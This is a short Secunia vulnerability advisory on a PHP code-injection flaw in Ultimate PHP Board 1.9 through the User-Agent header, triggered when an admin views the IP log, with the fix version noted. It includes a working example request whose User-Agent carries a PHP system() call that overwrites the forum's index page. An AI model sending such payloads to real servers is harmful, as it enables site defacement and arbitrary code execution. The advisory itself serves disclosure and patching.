Secunia

A vulnerability has been identified in Ultimate PHP Board, which allows a malicious person to execute arbitrary code on a vulnerable system.

The vulnerability is caused due to missing input validation of the header "User-Agent:". A malicious person can exploit this by injecting arbitrary PHP code in this field, which will cause it to be executed, when an admin user views "admin_iplog.php".

Example defacing main forum page:

telnet [victim] 80
GET /board/index.php HTTP/1.0
User-Agent: <? system( "echo \'hacked\' > ../index.html" ); ?>

The vulnerability has been reported in version 1.9. Other versions may also be affected.

Solution
The vulnerability has been fixed in some version. Update to version 1.9.6 GOLD or later.

Provided and/or discovered by
euronymous

Changelog
Further details available in Customer Area

Original Advisory
English:
http://f0kp.iplus.ru/bz/024.en.txt

Russian:
http://f0kp.iplus.ru/bz/024.ru.txt

Deep Links
Links available in Customer Area